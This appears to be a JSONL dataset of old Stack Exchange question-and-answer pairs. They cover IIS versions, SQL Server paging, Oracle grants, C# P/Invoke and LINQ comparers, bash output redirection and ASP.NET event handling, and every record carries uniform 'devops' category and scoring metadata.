{"id": "hf_0bfe109909b6", "question": "<p>Is it possible to update IIS on Windows XP from 5.1 to 6?</p>\n\n<p>If so how?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "No, it is not possible. The version of IIS is tied to a specific version of Windows.\n```\n```\nXP = IIS 5.1\n2003 = IIS 6\n2008 = IIS 7\n```\n```\nMore information available at\nhttp://support.microsoft.com/kb/224609\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.494621"}
{"id": "hf_802435678dd3", "question": "<p>Say I've got a class like this:</p>\n\n<pre><code>class Test\n{\n  int x;\n  SomeClass s;\n}\n</code></pre>\n\n<p>And I instantiate it like this:</p>\n\n<pre><code>Test* t = new Test;\n</code></pre>\n\n<p>Is x on the stack, or the heap? What about s?</p>\n", "question_body": "", "answer": "Since you've used\n```\nnew\n```\n, it's all on the heap, stored [more or less] contiguously in\n```\nt\n```\n's memory area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.543753"}
{"id": "hf_cbd404b5a44c", "question": "<p>Sometimes while debugging, I need to restart a service on a remote machine.  Currently, I'm doing this via Remote Desktop.  How can it be done from the command line on my local machine?</p>\n", "question_body": "", "answer": "You can use the services console, clicking on the left hand side and then selecting the \"Connect to another computer\" option in the Action menu.\nIf you wish to use the command line only, you can use\n```\n```\nsc \\\\machine stop <service>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.616960"}
{"id": "hf_ebac3ad1be35", "question": "<p>I am experiencing some weird behavior with localized messages reported from my background worker process in my windows forms application.</p>\n\n<p>The application is a setup application with windows forms.\nThe application launches a background worker to perform and IIS reset and then install MSIs.</p>\n\n<p>The first time I run the application on a Spanish Win Server 2003 VM the forms are in spanish but not the BWP messages.  If i immediately run it again, the messages are in spanish.</p>\n\n<p>The .Resources files are embedded resources and are extracted to the temp directory upon application startup.</p>\n\n<p>My code retrieves the localized strings through a custom resource manager class.  This class creates a file based resource to the .Resources files in the temp directory.  This is working correctly because the windows forms labels and title are localized every time.</p>\n\n<p>Has anyone experienced this?  I'm absolutely stuck, please help.\nThanks, Andrew</p>\n", "question_body": "", "answer": "The culture info is in thread-local storage, so if the background worker runs processes on different threads, this may be expected.\nhttp://msdn.microsoft.com/en-us/library/system.globalization.cultureinfo.currentculture.aspx\nhttp://msdn.microsoft.com/en-us/library/system.threading.thread.currentculture.aspx\nI am not sure what the recommended practice for transfering culture info across threads, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.656232"}
{"id": "hf_9d2c42b7467e", "question": "<p>I need to grant select permission for all tables owned by a specific user to another user.  Can I do this with a single command along the lines of:</p>\n\n<pre><code>Grant Select on OwningUser.* to ReceivingUser\n</code></pre>\n\n<p>Or do I have to generate the sql for each table with something along the lines of:</p>\n\n<pre><code> Select 'GRANT SELECT ON OwningUser.'||Table_Name||'TO ReceivingUser' \n From All_Tables Where Owner='OWNINGUSER'\n</code></pre>\n", "question_body": "", "answer": "Well, it's not a single statement, but it's about as close as you can get with oracle:\n```\n```\nBEGIN\n   FOR R IN (SELECT owner, table_name FROM all_tables WHERE owner='TheOwner') LOOP\n      EXECUTE IMMEDIATE 'grant select on '||R.owner||'.'||R.table_name||' to TheUser';\n   END LOOP;\nEND;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.735673"}
{"id": "hf_900278725a7d", "question": "<p>I have an ASP.NET page which pulls a set of images from a database table, and using an enumerator, goes through all of them and displays then.</p>\n\n<p>This all happens in the codebehind (VB.NET), where the code adds the placeholder and some controls inside tables (tables inside the placeholder).</p>\n\n<p>I've added a button to this placeholder (inside a table cell), all programatically, but how can I add a click event to the button programatically? I want to fire a javascript (lightbox) which shows a large preview of the image (this works when the user clicks a small image, which invokes a string hyperlink on the code that points to the javascript).</p>\n", "question_body": "", "answer": "```\ncmdMyButton.attributes.add(\"onclick\", \"alert('hello');\")\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.772041"}
{"id": "hf_393dbda52b5e", "question": "<p>From C#, I want to do the equivalent of the following:</p>\n\n<pre><code>arp -a |findstr 192.168.1.254\n</code></pre>\n\n<p>Alternatively, the answer could call the <a href=\"http://msdn.microsoft.com/en-us/library/aa366358.aspx\" rel=\"noreferrer\">SendARP</a> function and get the results.</p>\n\n<p>This will allow my application to do some other processing that requires the MAC address.</p>\n", "question_body": "", "answer": "SendARP P/Invoke goes like this:\n```\n```\n[DllImport(\"iphlpapi.dll\", ExactSpelling=true)]\npublic static extern int SendARP( int destIp, int srcIP, byte[] macAddr, ref uint physicalAddrLen );\n```\n```\nPInvoke.NET\nhas this example:\n```\n```\nIPAddress dst = IPAddress.Parse(\"192.168.2.1\"); // the destination IP address\n\nbyte[] macAddr = new byte[6];\nuint macAddrLen = (uint)macAddr.Length;\n\nif (SendARP(BitConverter.ToInt32(dst.GetAddressBytes(), 0), 0, macAddr, ref macAddrLen) != 0)\n     throw new InvalidOperationException(\"SendARP failed.\");\n\nstring[] str = new string[(int)macAddrLen];\nfor (int i=0; i<macAddrLen; i++)\n     str[i] = macAddr[i].ToString(\"x2\");\n\nConsole.WriteLine(string.Join(\":\", str));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.807589"}
{"id": "hf_2ba7be1a4054", "question": "<p>Is enterprise library for exception handling and logging efficient in terms of its memory usage for the functionality provided?</p>\n\n<p>What are the pros and cons?\nThanks </p>\n", "question_body": "", "answer": "Given the larger memory and faster processing of today's (and recent) computers, I did not have inefficiency problems.  The efficiency I found in the enterprise library is that I did not have to write and test it myself.  And, because of its consistency and documentation, I don't have to spend much time teaching it to anyone else either.  Granted, I have not specifically tested it for speed, and you could likely write a much more targeted custom version without as much overhead...  But again, the efficiency is in using the library itself and moving on to solve other, more important problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.832177"}
{"id": "hf_173893503170", "question": "<p>What I'd like to avoid: </p>\n\n<pre><code>ManagementClass m = new ManagementClass(\"Win32_LogicalDisk\");\n\nManagementObjectCollection managementObjects = m.GetInstances();\n\nList&lt;ManagementObject&gt; managementList = new List&lt;ManagementObject&gt;();\n\nforeach(ManagementObject m in managementObjects){\n\n    managementList.Add(m);\n\n}\n</code></pre>\n\n<p>Isn't there a way to get that collection into a List that looks something like: </p>\n\n<pre><code>List&lt;ManagementObject&gt; managementList = new List&lt;ManagementObjec&gt;(collection_array);\n</code></pre>\n", "question_body": "", "answer": "You could try:\n```\n```\nList<ManagementObject> managementList = new List<ManagementObject>(managementObjects.ToArray());\n```\n```\nNot sure if .ToArray() is available for the collection.\nIf you do use the code you posted, make sure you initialize the List with the number of existing elements:\n```\n```\nList<ManagementObject> managementList = new List<ManagementObject>(managementObjects.Count);  // or .Length\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:15.856289"}
{"id": "hf_35dba73bdd37", "question": "<p>Is there any way in SQL Server to get the results starting at a given offset? For example, in another type of SQL database, it's possible to do:</p>\n\n<pre><code>SELECT * FROM MyTable OFFSET 50 LIMIT 25\n</code></pre>\n\n<p>to get results 51-75. This construct does not appear to exist in SQL Server.  </p>\n\n<p>How can I accomplish this without loading all the rows I don't care about?  Thanks! </p>\n", "question_body": "", "answer": "Depending on your version ou cannot do it directly, but you could do something hacky like\n```\n```\nselect top 25 *\nfrom ( \n  select top 75 *\n  from   table \n  order by field asc\n) a \norder by field desc\n```\n```\nwhere 'field' is the key.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.007632"}
{"id": "hf_4759ce8d9518", "question": "<p>One small function of a large program examines assemblies in a folder and replaces out-of-date assemblies with the latest versions.  To accomplish this, it needs to read the version numbers of the existing assembly files without actually loading those assemblies into the executing process.</p>\n", "question_body": "", "answer": "Use\n```\nAssemblyName.GetAssemblyName(\"assembly.dll\");\n```\n, then parse the name. According to\nMSDN\n:\nThis will only work if the file\n  contains an assembly manifest. This\n  method causes the file to be opened\n  and closed, but the assembly is not\n  added to this domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.032294"}
{"id": "hf_baf3cacbca8f", "question": "<p>I'm using my code-behind page to create a save button programmatically:</p>\n\n<pre><code>    Button btnSave = new Button();\n    btnSave.ID = \"btnSave\";\n    btnSave.Text = \"Save\";\n</code></pre>\n\n<p>However I think this must create an html button or perhaps needs something else as I cannot seem to set the OnClick attribute in the following line, I can specify OnClientClick but this isn't the one I want to set.</p>\n", "question_body": "", "answer": "You would be adding a handler to the OnClick using the += syntax if you want to register a handler for the OnClick event in the code behind.\n```\n```\n//Add the handler to your button, passing the name of the handling method    \nbtnSave.Click += new System.EventHandler(btnSave_Click);\n\nprotected void btnSave_Click(object sender, EventArgs e)\n{\n    //Your custom code goes here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.068305"}
{"id": "hf_8c7d0500e91f", "question": "<p>Quick question. What do you think, I have a few sites that use a 3 level drop-down menu that will be broken if IE8 released with its current CSS standards in IE8 beta2. So do I take the time to redo those drop downs now?  I realize that the way they rendered CSS changed completely between beta 1 and 2, but 2 was/is supposed the be a general use beta and seeing as it is the final beta you would think something as crucial as CSS rendering would have been touched up to work properly.</p>\n\n<p>So what do you think, do you wait until 80% (random statistic) of ie7 users automatically update to IE8 and then worry about a broken navigation menu if it still exists. Or do you waste the time now.  </p>\n\n<p>... if I had it my way all web developers would just make sure that their page did not work in IE8 and then Microsoft would be forced to properly handle CSS....  But I don't usually get things my way.</p>\n", "question_body": "", "answer": "You can add the meta tag to force IE7 compatible rendering. Your site continues to work, no changes are made to the web site and life is happy for everyone.\nThat said, i'm curious about the \"forced to properly handle CSS\" bit; IE8 has been pretty big win for CSS standards, but I could be missing the bandwagon. ;)\nHTML change necessary to force emulated IE7 rendering involves adding a meta tag immediately after the head node.\n```\n```\n<head>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=EmulateIE7\"/>\n    ...\n</head>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.129067"}
{"id": "hf_cf3c7a9b9f44", "question": "<p>I'm building a web 2.0 site with tagging functionality and wanted to get a sense from anyone with experience how long (in sec) the system can take to a) show a new tag on a given record and b) index the tag for search.  For example, does a newly added tag have to be available for search in 1 second but show on the user's screen in .1 seconds?</p>\n", "question_body": "", "answer": "I think this is really dependent on the type of site, size of site, overall complexity and user expectations.\nYou will have to balance everything to meet your needs, I don't believe there there is any de-facto standard that says it must be X seconds.\nResponsiveness is important, but certain audiences are more forgiving than others, and certain systems need certain levels of performance.\nAlso, the users interface for addition is a big factor on how long it should display to the user and how you go about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.153411"}
{"id": "hf_a34b82a24273", "question": "<p>I'm trying to write a log file from an ASP.NET application under IIS7, but keep getting the following exception:</p>\n\n<blockquote>\n  <p>UnauthorizedAccessException\n  \"Access to the path 'C:\\Users\\Brady\\Exports' is denied.\"</p>\n</blockquote>\n\n<p>I have given write access to the iis_iusrs, iis_wpg, and aspnet users, based on various advices found by Google, but still get the error.  Can someone please explain how I can create a log file in that directory, or, will creating a log directory under the web application itself automatically allow writing the file, and is this not perhaps a better solution?</p>\n", "question_body": "", "answer": "You need to grant permission to one of the following accounts\n```\n```\nASPNET - Win XP and Win 2000\nNETWORK SERVICE - Win Vista and 2003\n```\n```\nThese are the defaults, if the application pool has been configured for a different process account then you would need to work with that specific account.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.214178"}
{"id": "hf_5fa3ea210c06", "question": "<p>I've tried this, but it doesn't work:</p>\n\n<pre><code>col * format a20000\n</code></pre>\n\n<p>Do I really have to list every column specifically?  That is a huge pain in the arse.</p>\n", "question_body": "", "answer": "Never mind, figured it out:\n```\n```\nset wrap off\nset linesize 3000 -- (or to a sufficiently large value to hold your results page)\n```\n```\nWhich I found by:\n```\n```\nshow all\n```\n```\nAnd looking for some option that seemed relevant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.239330"}
{"id": "hf_893280e35125", "question": "<p>So .NET 3.0/3.5 provides us with lots of new ways to query, sort, and manipulate data, thanks to all the neat functions supplied with LINQ.  Sometimes, I need to compare user-defined types that don't have a built-in comparison operator.  In many cases, the comparison is really simple -- something like foo1.key ?= foo2.key.  Rather than creating a new IEqualityComparer for the type, can I simply specify the comparison inline using anonymous delegates/lambda functions?  Something like:</p>\n\n<pre><code>var f1 = ...,\n    f2 = ...;\nvar f3 = f1.Except(\n           f2, new IEqualityComparer(\n             (Foo a, Foo b) => a.key.CompareTo(b.key)\n           ) );\n</code></pre>\n\n<p>I'm pretty sure the above doesn't actually work.  I just don't want to have to make something as \"heavy\" as a whole class just to tell the program how to compare apples to apples.</p>\n", "question_body": "", "answer": "My\nMiscUtil\nlibrary contains a ProjectionComparer to build an IComparer<T> from a projection delegate. It would be the work of 10 minutes to make a ProjectionEqualityComparer to do the same thing.\nEDIT: Here's the code for ProjectionEqualityComparer:\n```\n```\nusing System;\nusing System.Collections.Generic;\n\n/// <summary>\n/// Non-generic class to produce instances of the generic class,\n/// optionally using type inference.\n/// </summary>\npublic static class ProjectionEqualityComparer\n{\n    /// <summary>\n    /// Creates an instance of ProjectionEqualityComparer using the specified projection.\n    /// </summary>\n    /// <typeparam name=\"TSource\">Type parameter for the elements to be compared</typeparam>\n    /// <typeparam name=\"TKey\">Type parameter for the keys to be compared,\n    /// after being projected from the elements</typeparam>\n    /// <param name=\"projection\">Projection to use when determining the key of an element</param>\n    /// <returns>A comparer which will compare elements by projecting \n    /// each element to its key, and comparing keys</returns>\n    public static ProjectionEqualityComparer<TSource, TKey> Create<TSource, TKey>(Func<TSource, TKey> projection)\n    {\n        return new ProjectionEqualityComparer<TSource, TKey>(projection);\n    }\n\n    /// <summary>\n    /// Creates an instance of ProjectionEqualityComparer using the specified projection.\n    /// The ignored parameter is solely present to aid type inference.\n    /// </summary>\n    /// <typeparam name=\"TSource\">Type parameter for the elements to be compared</typeparam>\n    /// <typeparam name=\"TKey\">Type parameter for the keys to be compared,\n    /// after being projected from the elements</typeparam>\n    /// <param name=\"ignored\">Value is ignored - type may be used by type inference</param>\n    /// <param name=\"projection\">Projection to use when determining the key of an element</param>\n    /// <returns>A comparer which will compare elements by projecting\n    /// each element to its key, and comparing keys</returns>\n    public static ProjectionEqualityComparer<TSource, TKey> Create<TSource, TKey>\n        (TSource ignored,\n         Func<TSource, TKey> projection)\n    {\n        return new ProjectionEqualityComparer<TSource, TKey>(projection);\n    }\n\n}\n\n/// <summary>\n/// Class generic in the source only to produce instances of the \n/// doubly generic class, optionally using type inference.\n/// </summary>\npublic static class ProjectionEqualityComparer<TSource>\n{\n    /// <summary>\n    /// Creates an instance of ProjectionEqualityComparer using the specified projection.\n    /// </summary>\n    /// <typeparam name=\"TKey\">Type parameter for the keys to be compared,\n    /// after being projected from the elements</typeparam>\n    /// <param name=\"projection\">Projection to use when determining the key of an element</param>\n    /// <returns>A comparer which will compare elements by projecting each element to its key,\n    /// and comparing keys</returns>        \n    public static ProjectionEqualityComparer<TSource, TKey> Create<TKey>(Func<TSource, TKey> projection)\n    {\n        return new ProjectionEqualityComparer<TSource, TKey>(projection);\n    }\n}\n\n/// <summary>\n/// Comparer which projects each element of the comparison to a key, and then compares\n/// those keys using the specified (or default) comparer for the key type.\n/// </summary>\n/// <typeparam name=\"TSource\">Type of elements which this comparer \n/// will be asked to compare</typeparam>\n/// <typeparam name=\"TKey\">Type of the key projected\n/// from the element</typeparam>\npublic class ProjectionEqualityComparer<TSource, TKey> : IEqualityComparer<TSource>\n{\n    readonly Func<TSource, TKey> projection;\n    readonly IEqualityComparer<TKey> comparer;\n\n    /// <summary>\n    /// Creates a new instance using the specified projection, which must not be null.\n    /// The default comparer for the projected type is used.\n    /// </summary>\n    /// <param name=\"projection\">Projection to use during comparisons</param>\n    public ProjectionEqualityComparer(Func<TSource, TKey> projection)\n        : this(projection, null)\n    {\n    }\n\n    /// <summary>\n    /// Creates a new instance using the specified projection, which must not be null.\n    /// </summary>\n    /// <param name=\"projection\">Projection to use during comparisons</param>\n    /// <param name=\"comparer\">The comparer to use on the keys. May be null, in\n    /// which case the default comparer will be used.</param>\n    public ProjectionEqualityComparer(Func<TSource, TKey> projection, IEqualityComparer<TKey> comparer)\n    {\n        if (projection == null)\n        {\n            throw new ArgumentNullException(\"projection\");\n        }\n        this.comparer = comparer ?? EqualityComparer<TKey>.Default;\n        this.projection = projection;\n    }\n\n    /// <summary>\n    /// Compares the two specified values for equality by applying the projection\n    /// to each value and then using the equality comparer on the resulting keys. Null\n    /// references are never passed to the projection.\n    /// </summary>\n    public bool Equals(TSource x, TSource y)\n    {\n        if (x == null && y == null)\n        {\n            return true;\n        }\n        if (x == null || y == null)\n        {\n            return false;\n        }\n        return comparer.Equals(projection(x), projection(y));\n    }\n\n    /// <summary>\n    /// Produces a hash code for the given value by projecting it and\n    /// then asking the equality comparer to find the hash code of\n    /// the resulting key.\n    /// </summary>\n    public int GetHashCode(TSource obj)\n    {\n        if (obj == null)\n        {\n            throw new ArgumentNullException(\"obj\");\n        }\n        return comparer.GetHashCode(projection(obj));\n    }\n}\n```\n```\nAnd here's a sample use:\n```\n```\nvar f3 = f1.Except(f2, ProjectionEqualityComparer<Foo>.Create(a => a.key));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.265147"}
{"id": "hf_0e9e9da1f495", "question": "<p>I'm using C# on Framework 3.5.  I'm looking to quickly sort a Generic <code>List&lt;T&gt;</code>.  For the sake of this example, let's say I have a List of a <code>Person</code> type with a property of lastname.  How would I sort this List using a lambda expression?</p>\n\n<pre><code>List&lt;Person&gt; people = PopulateList();\npeople.OrderBy(???? =&gt; ?????)\n</code></pre>\n", "question_body": "", "answer": "```\n```\npeople.OrderBy(person => person.lastname).ToList();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.332055"}
{"id": "hf_95a1559b2fc7", "question": "<p>Trying to setup the exception_logger plugin on a production server. Everything worked fine on the dev machine. Trying to rake db:migrate on the prod server and i get this error:</p>\n\n<pre><code>rake aborted!\nno such file to load -- pagination\n</code></pre>\n\n<p>What am i missing?</p>\n", "question_body": "", "answer": "Obviously the error is related to the pagination plugin. That means the error may not be related to exception_logger at all...\nTry\n```\nrake db:migrate --trace\n```\nand add the additional output to your question!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.356773"}
{"id": "hf_a076934828eb", "question": "<p>How have you decided to handle data/control validation in your silverlight applications?  </p>\n", "question_body": "", "answer": "Haven't done much of this yet personally, but some good starting points\nhere\n. I imagine that these will come as part of a future release, but for now we'll probably have to roll our own using ASP.NET validators as a starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.381474"}
{"id": "hf_b5e65e88f73e", "question": "<p>I am using Team Foundation Server (TFS) for Visual Studio 2005.</p>\n\n<p>Whenever i wish to compare two file's versions TFS displays a window with the differences.</p>\n\n<p><strong>The problem is that it is always split vertically.</strong></p>\n\n<p>In fact, almost every time, <strong>i would prefer to have it split horizontally.</strong>\nI've already looked at TFS options and googled but i found nothing. I'm appalled to think that such option is not available!</p>\n\n<p>Is there any way to configure TFS to split it horizontally?</p>\n", "question_body": "", "answer": "I've found the built in differencing tool in TFS woefully lacking so I set up WinMerge (\nhttp://www.winmerge.org/\n) in my environment in Tools -> Options -> Source COntrol -> Visual Studio Team Foundation.\nA nice blog post exists below:\nhttp://www.vitalygorn.com/blog/post/2007/12/Better-DiffMerge-tool-for-TFS.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.419008"}
{"id": "hf_b32d1bf819f8", "question": "<p>I am looking for a simple but \"good enough\" Named Entity Recognition library (and dictionary) for java, I am looking to process emails and documents and extract some \"basic information\" like:\nNames, places, Address and Dates</p>\n\n<p>I've been looking around, and most seems to be on the heavy side and full NLP kind of projects. </p>\n\n<p>Any recommendations ?</p>\n", "question_body": "", "answer": "You might want to have a look at one of\nmy earlier answers\nto a similar problem.\nOther than that, most lighter NER systems depend a lot on the domain used. You will find a whole lot of tools and papers about biomedical NER systems, for example. In addition to my previous post (which already contains my main recommendation if you want to do NER), here are some more tools you might want to look into:\nThe\nStanford CER-NER\nThe\nPostech Biomedical NER System\nif you are interested in this particular domain\nOpenCalais\nseems to be a commercial system. There are\nUIMA wrappers for OpenCalais\nbut they seem dated. There is also a dictionary based Context-Mapper annotator for UIMA that may help you out. Be aware that UIMA implies significant overhead in learning curve ;-)\nOpenNLP\nalso have an NER tool.\nBalie\ndoes NER, too, among other things.\nABNER\ndoes NER, but again its focused on the biomedical domain.\nThe\nJULIE Lab Tools\nfrom the university of Jena, Germany also do NER. They have standalone versions and UIMA analysis engines.\nOne additional remark: you won't get away without tokenization on the input. Tokenization of natural language is slightly non-trivial, that's why I suggest you use a toolbox that does both for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.443171"}
{"id": "hf_6579143c82a7", "question": "<p>Here I have:</p>\n\n<pre><code>Public Structure MyStruct\n   Public Name as String\n   Public Content as String\nEnd Structure\n\nDim oStruct as MyStruct = New MyStruct()\noStruct.Name = ...\noStruct.Content = ...\n\nDim alList as ArrayList = new ArrayList()\nalList.Add(oStruct)\n</code></pre>\n\n<p>I'd like to convert the ArrayList to a static strongly-typed Array of type MyStruct. How can I do that? I had no luck with ToArray.</p>\n\n<p>I am using .NET Framework 2.0.</p>\n", "question_body": "", "answer": "You have to cast the result of\n```\nToArray\n```\n```\n```\nMyStruct[] structs = (MyStruct[]) alList.ToArray(typeof(MyStruct));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.468857"}
{"id": "hf_29fb6562136d", "question": "<p>There seem to be two bash idioms for redirecting STDOUT and STDERR to a file:</p>\n\n<pre><code>fooscript &amp;&gt; foo\n</code></pre>\n\n<p>... and ...</p>\n\n<pre><code>fooscript &gt; foo 2&gt;&amp;1\n</code></pre>\n\n<p>What's the difference?  It seems to me that the first one is just a shortcut for the second one, but my coworker contends that the second one will produce no output even if there's an error with the initial redirect, whereas the first one will spit redirect errors to STDOUT.</p>\n\n<p><strong>EDIT</strong>:  Okay... it seems like people are not understanding what I am asking, so I will try to clarify:</p>\n\n<p>Can anyone give me an example where the two <em>specific lines</em> lines written above will yield different behavior?</p>\n", "question_body": "", "answer": "```\n```\n&> foo # Will take all and redirect all output to foo.\n\n2>&1 # will redirect stderr to stdout.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.517927"}
{"id": "hf_2c6fae859dd0", "question": "<p>I have a page something.aspx, with associated codebehind something.aspx.cs.  In that codebehind, I want to know the filesystem location of something.aspx.  Is there any convenient way to get it?</p>\n\n<p>Update: I got several excellent answers, which unfortunately didn't work because of something else crazy I'm doing.  I'm encoding some additional information on the URL I pass in, so it looks like this:</p>\n\n<p><a href=\"http://server/path/something.aspx/info1/info2/info3.xml\" rel=\"nofollow noreferrer\">http://server/path/something.aspx/info1/info2/info3.xml</a></p>\n\n<p>The server deals with this OK (and I'm not using querystring parameters to work around some other code that I didn't write).  But when I call Server.MapPath(Request.Url.ToString()) I get an error that the full URL with the 'info' segments isn't a valid virtual path.</p>\n", "question_body": "", "answer": "```\n```\n// File path\nstring absoluteSystemPath = Server.MapPath(\"~/relative/path.aspx\");\n// Directory path\nstring dir = System.IO.Path.GetDirectoryName(absoluteSystemPath);\n// Or simply\nstring dir2 = Server.MapPath(\"~/relative\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.542539"}
{"id": "hf_57546e9513e3", "question": "<p>I have reasonable experience to manage my own server, so gogrid style management is not a problem. But seems mosso is a tag cheaper somewhat- except the very difficult to access compute cycles terms. Anyone could share about this would be very welcomed.</p>\n", "question_body": "", "answer": "It's simple, Mosso is just like a \"reseller\" hosting. They provide you everything whitelabel from billing to control panel then you sell it back to customers.\nIf you are developer, I recommend you choose GoGrid. Firstly, Mosso doesn't provide SSH access. Secondly, if you are RoR/Mongrel user, you are capped to limited RAM (unless you pay extra in addition to $100). Moreover, GoGrid allows you to choose server image (CentOS, Redhat, Windows) with some out-of-the-box support for RoR and LAMP.\nSomemore, GoGrid provides you initial credits ($50 or $95 if you use MS-WEBFWRD) for you to try out before actually paying for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:16.631928"}
